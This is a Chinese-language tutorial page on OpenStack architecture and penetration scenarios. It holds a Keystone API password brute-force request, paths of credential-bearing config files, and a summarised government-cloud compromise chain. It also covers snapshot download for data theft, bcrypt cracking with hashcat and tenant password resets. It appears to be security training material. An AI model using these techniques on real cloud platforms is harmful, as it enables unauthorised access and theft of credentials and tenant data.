> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-wu-zhang-si-you-yun-yu-xu-ni-hua-gong-fang/openstack-shen-tou-chang-jing.md).

# OpenStack渗透场景

#### 什么是Openstack <a href="#toc835592140" id="toc835592140"></a>

OpenStack是一个开源的云计算管理平台项目，是属于基础设施即服务（IaaS），是一个云操作系统。

![](/files/UCLI3mRY6svfhh4zppZb)&#x20;

* &#x20;Nova（控制 ）
  * &#x20;提供计算资源，虚拟机、容器等；
* &#x20;Glance（镜像 ）
* &#x20;Swift（对象存储 ）
* &#x20;Cinder（块存储 ）
* &#x20;Neutron（网络 ）
* &#x20;Heat（编排服务 ）
* &#x20;Ceilometer（计量服务,监控,计费 ）
* &#x20;Keystone（身份管理 ）
  * &#x20;API客户端身份验证，多租户授权
* &#x20;Horizon
  * &#x20;提供Web界面

**Keystone**

keystone是OpenStack组件之一，identity service认证服务；

<figure><img src="/files/ThjyCojgaUfbjd4kPpd3" alt=""><figcaption></figcaption></figure>

1\. 一次建立；

(1) User向Keystone发送用户密码身份信息，Keystone验证成功后向User配发Token；

2\. 三次请求，三次确认；

(1) User向Nova发出带有Token的实例创建请求，Nova收到请求后向Keystone验证有效性；

(2) Token被证实有效后，Nova向Glance服务发送镜像传输请求，Glance再次向Keystone验证Token有效性；

(3) Token被证实有效后，Glance向Nova提供镜像目录查询和传递服务，Nova获取镜像后继续向Neutron请求创建网络服务，Neutron再向Keystone验证有效性；

(4) Token被证实有效后，Neutron允许Nova使用网络服务；

3\. 一个最终结果；

(1) Nova启动虚拟机成功，向用户返回创建实例成功的通知；

**Nova**

主要功能是负责管理实例虚拟机的生命周期、网络管理、存储卷管理；

对外提供服务接口为REST API，内部组件模块之间的通信基于RPC消息传递机制；

<figure><img src="/files/anpD1rOywW7Hv26IHDK0" alt=""><figcaption></figcaption></figure>

工作原理：

1\. User获取认证后向Nova服务中的Nova-api发送一个请求，用于创建虚拟机实例；

2\. Nova-API接收到请求后进行身份验证，然后将创建虚拟机实例的消息存到队列中（Queue）;

3\. Nova-scheduler从消息队列中（Queue）接收到消息开始调度，从多个计算节点选取最优节点，将创建虚拟机实例消息存放到队列中；

4\. Nova-compute获取到信息后，在自身节点上执行创建虚拟机实例操作；

5\. 创建虚拟机同时，计算节点通过消息队列向Nova-Conductor发送查询数据库的信息的消息，Conductor收到信息生会去访问数据库并给出回应消息；

&#x20;

* &#x20;Nova-API
  * &#x20;接收并响应最终用户的计算API调用请求，通常将请求转发给Nova其它组件进行自带；
* &#x20;Nova-API-Metadata
  * 用于接收来自实例的元数据请求；
* &#x20;Nova-Compute
  * &#x20;通过Hypervisor API创建和终止实例的工作进程；
  * &#x20;默认情况使用KVM虚拟化引擎；
  * &#x20;主要功能就是接收来自消息队列的请求，然后执行对应的系统命令；
* &#x20;Nova-Scheduler
  * &#x20;负责从队列中获取虚拟机实例请求；
* &#x20;Nova-Conductor
  * &#x20;主要为了使Nova-Compute服务与数据库之间进行交互；
* &#x20;Nova-placement-api
  * &#x20;追踪每个提供者的库存和使用情况，比如计算节点的资源，存储池使用情况以及IP分配情况；
* &#x20;Nova-Cert
  * &#x20;是服务器守候进程，主要为基于X509认证的Nova Cert提供服务；
* &#x20;Nova-NoVNCproxy
  * &#x20;虚拟机控制台服务，提供用于通过VNC连接访问正在运行实例的代理；
* &#x20;QUEUE

**Glance**

Glance主要负责镜像的注册和查询传递服务，这些镜像可以是用户自己制作上传的镜像，也可以是当前实例的快照，这两种类型的镜像都可以快速用于实例部署；

工作原理：

1\. glance-api接收到对应服务请求，对该服务进行响应；

2\. glance-api服务将会对请求进行判断，与metadata相关操作就会把任务交给glance-registry进行处理，对应数据库操作如与image自身相关操作，将交给store backend进行处理；

主要组件：

* &#x20;glance-api
  * &#x20;作用就是接收请求，但自身不处理请求，对外提供REST API响应image查询、获取和存储的调用；
  * &#x20;使用ps -ef | grep glance-api，查看进程信息；
* &#x20;glance-registry
  * &#x20;主要负责处理和存取image和metadata；
  * &#x20;使用ps -e | grep glance-registry，查看进程信息；
* &#x20;Dadatabase
  * &#x20;主要用于保存images的metadata信息；
* &#x20;Store backend
  * &#x20;实际用于存储，glance自身并不存储image，而是将image放在backend中；
  * &#x20;配置文件：/etc/glance/glanc e-api.conf

**Neutron**

主要提供云计算环境下的网络服务；

Neutron具体作用是允许用户创建和管理网络对象，例如：网络、子网、端口；

涵盖了二层交换、三层路由、负载、防火墙等；<br>

<figure><img src="/files/UMv5OuFQ1uM9jfHRwuaV" alt=""><figcaption></figcaption></figure>

工作原理：

1\. 当要创建一个虚拟网络时，server收到创建的请求，通过消息队列通知对应的插件；

2\. OVS插件收到消息后，将需要创建网络信息，名称，ID等，保存到数据库中并通过消息队列通知运行在各个节点上的agent；

3\. agent，收到消息后会在节点上创建对应设备、例如vlan设备；

* &#x20;neutron-server
  * &#x20;运行于控制节点，提供相应的API；
* &#x20;neutron plugin
  * &#x20;core plugins，提供二层虚拟网络支持、网络、子网、端口等；
  * &#x20;service plugins，提供路由器、防火墙、安全组等；
* &#x20;neutron agent
  * &#x20;负责接收消息并且执行任务的模块；
* &#x20;neutron provide
  * &#x20;主要提供虚拟机或物理网络设备；
* &#x20;queue
  * &#x20;各个模块之间相互通信
* &#x20;neutron database
  * &#x20;存储网络信息数据库；

#### 安装Openstack <a href="#toc1401529247" id="toc1401529247"></a>

手动部署较为麻烦，中途各种报错，排错等部署了一天

手动部署openstrack需要的组件：

· Mysql

· Mongodb

· RabbitMQ

· keystone

· HTTP

· glance

· nova

· neutron

· horizon

DevStack

OpenStack为入门者和开发者推出了一个OpenStack开发环境：devstack。通过devstack，你可以在一个主机节点上部署一个“五脏俱全”的OpenStack Cloud。

国内网络环境问题，导致安装难度加大

· vultr + Ubuntu 20

{% code overflow="wrap" %}

```bash
sudo apt update
sudo apt -y upgrade
sudo apt -y dist-upgrade
sudo apt install git -y
 
#创建并切换到 stack 用户
sudo useradd -s /bin/bash -d /opt/stack -m stack
 
#sudo 不需要密码
echo "stack ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/stack
 
sudo su - stack
#下载和配置 devstack
cd /opt/stack/
git clone https://git.openstack.org/openstack-dev/devstack
cd devstack
cat > local.conf <<EOF
[[local|localrc]]
# Password for KeyStone, Database, RabbitMQ and Service
ADMIN_PASSWORD=onegiao
DATABASE_PASSWORD=$ADMIN_PASSWORD
RABBIT_PASSWORD=$ADMIN_PASSWORD
SERVICE_PASSWORD=$ADMIN_PASSWORD
 
# Host IP - get your Server/VM IP address from ip addr command
# 修改成你的机器的 IP
HOST_IP=192.168.10.100
FORCE=yes
EOF
 
#安装
./stack.sh
 
#关闭防火墙
sudo ufw disable
```

{% endcode %}

#### 渗透场景 <a href="#toc1901414033" id="toc1901414033"></a>

这里有两种场景：

· 获取到OpenStack控制台权限；

· OpenStack下的虚拟主机权限；

**虚拟主机权限场景**

<figure><img src="/files/FnzMHFuwkpN5E5lyU791" alt=""><figcaption></figcaption></figure>

能做什么？ 怎么去找控制端？

* &#x20;一般政务云租户管理端都会对外开放，所以从正面也是最为直接的方式。
* &#x20;在内网中端口查找关于用keystone 5000端口或者其它组件相应的端口查找管理网段。
* &#x20;一般情况是虚拟主机是无法到达管理网段，已做逻辑隔离。
  * &#x20;管理网络，openstack管理网
  * &#x20;内部网络，内部数据库、nova、之间的通讯
  * &#x20;共有网络，虚拟主机

&#x20;

攻击策略：

Ø 网络暴露：管理控制台，弱口令、高危漏洞

Ø 网络暴露：API 接口，未授权访问、越权、高危漏洞

Ø 网络暴露：三方组件引入的接口

Ø 网络暴露：容器服务

Ø 网络暴露：运营/运维服务

Ø OpenStack 部署在企业的业务生产网，云的底座网络、物理设备与业务网络在同一安全域，物理设备的监控和管理可横向攻击

&#x20;

相关端口

Ø Glance API 3260

Ø Glance API 9191

Ø Glance API 9292

Ø Nova API 3333

Ø Nova API 8775

Ø Nova API 8776

Ø EPMD 4369

Ø Keystone API 5000

Ø Keystone API 35357

**Keystone API爆破**

{% code overflow="wrap" %}

```
POST /v3/auth/tokens HTTP/1.1
Host: 149.xxx.xxx.xxx:5000
User-Agent: openstacksdk/0.50.0 keystoneauth1/4.2.1 python-requests/2.25.1 CPython/3.9.1+
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 225
 
{"auth": {"identity": {"methods": ["password"], "password": {"user": {"password": "123456", "name": "admin", "domain": {"name": "Default"}}}}, "scope": {"project": {"name": "admin", "domain": {"name": "Default"}}}}}
```

{% endcode %}

一般keystone就是控制面板密码

<figure><img src="/files/l0hqedZh8sWBcDC1B7sZ" alt=""><figcaption></figcaption></figure>

登录成功返回的资源：

直接绑定host即可

<figure><img src="/files/zz2d9jT3V2cXsDWEw39F" alt=""><figcaption></figcaption></figure>

BurpSuite操作太麻烦直接本地安装

```bash
apt install python-openstackclient
unset OS_SERVICE_TOKEN
export OS_USERNAME=admin
export OS_PASSWORD='123456'
export OS_REGION_NAME=RegionOne
export OS_AUTH_URL=http://219.xxx.xxx.xxx:5000/v3
export OS_PROJECT_NAME=admin
export OS_USER_DOMAIN_NAME=Default
export OS_PROJECT_DOMAIN_NAME=Default
export OS_IDENTITY_API_VERSION=3
 
source keystone_admin
```

执行命令

```bash
#查看区域
keystone domain list
```

**控制台权限场景**

某政务云案例：

搜索引擎 —> 某省政务外网 —> 政务云平台，3A认证，基于Openstack二次开发，存在Shiro反序列化漏洞 —> 获取openstack云平台系统root权限 —> 网卡信息可跨（172，10，192）网段 —> 通过翻取系统任务计划，发现运维脚本，脚本中存储了云平台节点所有帐号密码（获取294云节点服务器权限）—> 再通过翻取系统配置文件，登录云平台数据库，获取云平台所有帐号密码（获取519个SSO帐号密码）—> 可控制某省政务云单位500+ —> 通过翻取系统文件获得Zabbix Server监控系统（9个）—> 控制openstack云平台，可控制1400+云主机权限，影响整个省政务单位，完全控制某政务云。

关于第一种场景能做的事情很多，对当前主机信息收集例如：计划任务、历史命令、环境变量等，相关openstack配置文件进行收集，能够发现数据库配置文件、以及节点信息。

关注配置文件信息：

```bash
# 认证配置文件
/etc/keystone/keystone.conf
/etc/glance/glance-api.conf
/etc/nova/nova.conf
/etc/neutron/neutron.conf
/etc/cinder/cinder.conf
/etc/openstack-dashboard/local_settings
```

云平台仪表盘登录帐号密码通常情况下是放在/root/目录下，名为keystonerc\_admin开头等，没有特定文件，包含一些.sh脚本中也有可能存在云平台的登录帐号密码；

```bash
export OS_USERNAME=admin
export OS_PASSWORD=ADMIN_PASS
export OS_PROJECT_NAME=admin
export OS_USER_DOMAIN_NAME=Default
export OS_PROJECT_DOMAIN_NAME=Default
export OS_AUTH_URL=http://controller:5000/v3
export OS_IDENTITY_API_VERSION=3
```

**常用命令**

```bash
#当前用户
keystone user-list
openstack user list
 
#查看区域
keystone domain list
 
#创建具有管理权限的tenant，称为admin
keystone tenant-create --name=admin
 
#创建一个用户并设置密码
keystone user-create --name=admin --pass="openstack"
 
#创建角色
keystone role-create --name=admin
 
#分配角色给admin用户
keystone user-role-add --user admin --role admin --tenant admin
 
#keystone命令行客户端
export OS_TENANT_NAME=admin
export OS_USERNAME=admin
export OS_PASSWORD= openstack
export OS_AUTH_URL=http://127.0.0.1:35357/v2/
   
#查看节点
nova host-list
 
#查看计算节点
nova hypervisor-list
 
#计算节点上有哪些虚拟机
nova hypervisor-servers compute1
 
#查看虚拟机列表
nova list
 
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
 
#列出实例类型
nova flavor-list
 
#列出所有镜像
nova image-list
 
# 验证网络
openstack network agent list
 
#查看网桥
brctl show
 
#免密登录
ssh-keygen -q -N ""
openstack keypair create --public-key ~/.ssh/id_rsa.pub mykey
openstack keypair list
 
#查看安全组
openstack security list
openstack security group list
 
#允许ping
openstack security group rule create --proto icmp default
 
#允许SSH
openstack security group rule create --proto tcp --dst-port 22 default
 
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
 
#查看所有的虚机/某个租户虚机
nova list --all-tenants 
nova list --tenant csq 
```

```bash
查看nova控制端服务列表
nova service-list 
+--------------------------------------+----------------+------------+----------+----------+
| Id                                   | Binary         | Host       | Zone     | Status   | State | Updated_at                 | Disabled Reason | Forced down |
+--------------------------------------+----------------+------------+----------+----------+
| 1ddf8a41-27dd-4a97-8976-26dac6b08f15 | nova-conductor | controller | internal | enabled  | up    | 2021-06-17T08:49:59.000000 | -               | False       |
| 63b2d48d-b0fe-4c70-86f1-2598204bc47d | nova-scheduler | controller | internal | enabled  | up    | 2021-06-17T08:49:59.000000 | -               | False       |
| 17244348-e6cf-4898-8967-cc51e0e6862f | nova-compute   | controller | zone1    | disabled | down  | 2020-11-04T13:15:03.000000 | -               | False       |
| 9b84682e-c77f-4b14-ad6e-5d2bd1adf330 | nova-compute   | compute    | zone2    | enabled  | up    | 2021-06-17T08:49:59.000000 | -               | False       |
+--------------------------------------+----------------+------------+----------+----------+
 
查看节点信息：
openstack hypervisor list
+----+---------------------+-----------------+-------------+-------+
| ID | Hypervisor Hostname | Hypervisor Type | Host IP     | State |
+----+---------------------+-----------------+-------------+-------+
|  1 | controller          | QEMU            | 192.168.0.4 | down  |
|  2 | compute             | QEMU            | 10.53.18.17 | up    |
+----+---------------------+-----------------+-------------+-------+
 
查看计算节点:
openstack host list
+------------+-----------+----------+
| Host Name  | Service   | Zone     |
+------------+-----------+----------+
| controller | conductor | internal |
| controller | scheduler | internal |
| compute    | compute   | zone2    |
+------------+-----------+----------+
 
列出 keystone 服务中的端点
+-----------+-----------+-----------------------------------------+
| Name      | Type      | Endpoints                               |
+-----------+-----------+-----------------------------------------+
| placement | placement | RegionOne                               |
|           |           |   admin: http://controller:8778         |
|           |           | RegionOne                               |
|           |           |   public: http://controller:8778        |
|           |           | RegionOne                               |
|           |           |   internal: http://controller:8778      |
|           |           |                                         |
| nova      | compute   | RegionOne                               |
|           |           |   internal: http://controller:8774/v2.1 |
|           |           | RegionOne                               |
|           |           |   public: http://controller:8774/v2.1   |
|           |           | RegionOne                               |
|           |           |   admin: http://controller:8774/v2.1    |
|           |           |                                         |
| glance    | image     | RegionOne                               |
|           |           |   internal: http://controller:9292      |
|           |           | RegionOne                               |
|           |           |   admin: http://controller:9292         |
|           |           | RegionOne                               |
|           |           |   public: http://controller:9292        |
|           |           |                                         |
| keystone  | identity  | RegionOne                               |
|           |           |   public: http://controller:5000/v3/    |
|           |           | RegionOne                               |
|           |           |   admin: http://controller:5000/v3/     |
|           |           | RegionOne                               |
|           |           |   internal: http://controller:5000/v3/  |
|           |           |                                         |
| neutron   | network   | RegionOne                               |
|           |           |   admin: http://controller:9696         |
|           |           | RegionOne                               |
|           |           |   internal: http://controller:9696      |
|           |           | RegionOne                               |
|           |           |   public: http://controller:9696        |
|           |           |                                         |
+-----------+-----------+-----------------------------------------+
 
控制端验证计算节点是否注册成功
neutron agent-list
+--------------------------------------+--------------------+------------+-------------------
| id                                   | agent_type         | host       | availability_zone | alive | admin_state_up | binary                    |
+--------------------------------------+--------------------+------------+-------------------
| 0b6e81f3-84fd-407b-aa58-26c634b0b89d | Linux bridge agent | controller |                   | :-)   | True           | neutron-linuxbridge-agent |
| 3529d60a-02c0-45f6-a8b9-d5fa5784c472 | Linux bridge agent | compute    |                   | :-)   | True           | neutron-linuxbridge-agent |
| 69108560-f2a6-4fee-95f1-fec785773a49 | Metadata agent     | controller |                   | :-)   | True           | neutron-metadata-agent    |
| 6ed02b19-3a2c-4a8d-b8c9-a816e8c242b9 | L3 agent           | controller | nova              | :-)   | True           | neutron-l3-agent          |
| 7579d896-760c-41c4-8ebc-2ec2b0b676b6 | DHCP agent         | controller | nova              | :-)   | True           | neutron-dhcp-agent        |
+--------------------------------------+--------------------+------------+-------------------
 
有哪些网段信息
openstack subnet list
+--------------------------------------+-------+--------------------------------------+----------------+
| ID                                   | Name  | Network                              | Subnet         |
+--------------------------------------+-------+--------------------------------------+------
| cd4786a4-23b1-4dfe-b0f4-cd1218a5818e | zone1 | b0e0b867-fe37-435a-b0a2-d373e3721d9b | 192.168.2.0/24 |
| ef2751bb-0102-4a2b-a306-95155bfa64d1 | zone2 | 6de24015-baba-42f6-b01c-c0c5e9e5f891 | 192.168.3.0/24 |
+--------------------------------------+-------+--------------------------------------+----------------+
 
查看虚拟机访问地址
openstack console url show 虚拟机名称
openstack console url show 虚拟机ID
 
+-------+-------------------------------------------------------------------------------------
| Field | Value                                                                                     |
+-------+-------------------------------------------------------------------------------------
| type  | novnc                                                                                     |
| url   | http://xxx.xxx.xxx.xxx:6080/vnc_auto.html?path=%3Ftoken%3D2c210aaa-e620-4779-ac9b-7491089e5754 |
+-------+-------------------------------------------------------------------------------------
列出可用网络
neutron net-list
```

通过这些网段再定位相关目标网段，针对性刷分。

**下载快照**

在无法进入系统的情况下，通过获取快照进行到系统获取数据；

创建快照后，通过配置文件查看快照存放位置：/etc/glance/glance-api.conf

<figure><img src="/files/SZr0uTVHHc072Xmw4hBG" alt=""><figcaption></figcaption></figure>

对照ID下载镜像：

<figure><img src="/files/KhtyCwNNZFgo3WmgDM4m" alt=""><figcaption></figcaption></figure>

然后下载镜像进入到虚拟机获取相关数据。

```bash
openstack image save --file snapshot.raw 83361890-50ef-418a-80bc-f845f259b7dc
```

**加密方式**

一般情况下查询keystone数据库中的user表就可以了，但openstrack默认安装情况下分了两个表；

user存储用户名称及信息； password存储密码；

加密信息：

```bash
$2b$04$vj..DUniPbrtomnCskoI2.u0eFADB5T2hKZ8Uck4YTZ2D60ouFw2C
```

$为分割符，无意义；

2b是bcrypt加密版本号；

04是cost的值；

后一段是salt值；

最后才是密码的密文

找到用户密码但是不可解，密码复杂度太高；

&#x20;

强密码，hashcat基本无解。

{% code overflow="wrap" %}

```bash
hashcat -a 0 -m 3200 "\$2a\$10\$ghNfizR9Q0MqdXSRIDzKK.3CSvmn.Ik97i1DXB4Ba72qNlWZCpAkq" passwd.txt
```

{% endcode %}

使用[penglab](https://github.com/mxrch/penglab)项目，<https://github.com/mxrch/penglab>

<figure><img src="/files/upHaOYHnaRWEJ22CSoXC" alt=""><figcaption></figcaption></figure>

**重置租户密码**

当无法解密但又需要登录到某个租户的时候

查看用户列表：

```bash
keystone user-list
```

如果没有keystone 就用openstack user list

<figure><img src="/files/6PDH5B7k6viEVw9qI35s" alt=""><figcaption></figcaption></figure>

修改密码：

```bash
keystone user-password-update --pass 123qweasd 955fc29e47a74bfcbeb91718ad7caf40
```

如果不存在，则：

```bash
openstack user set --password 123qweasdzxc demo
```

<figure><img src="/files/1Amxb1yzOmQLjkn6DrwS" alt=""><figcaption></figcaption></figure>

具体看目标系统，有些则是在租户上可直接重置虚拟机密码，有些则无这个功能。
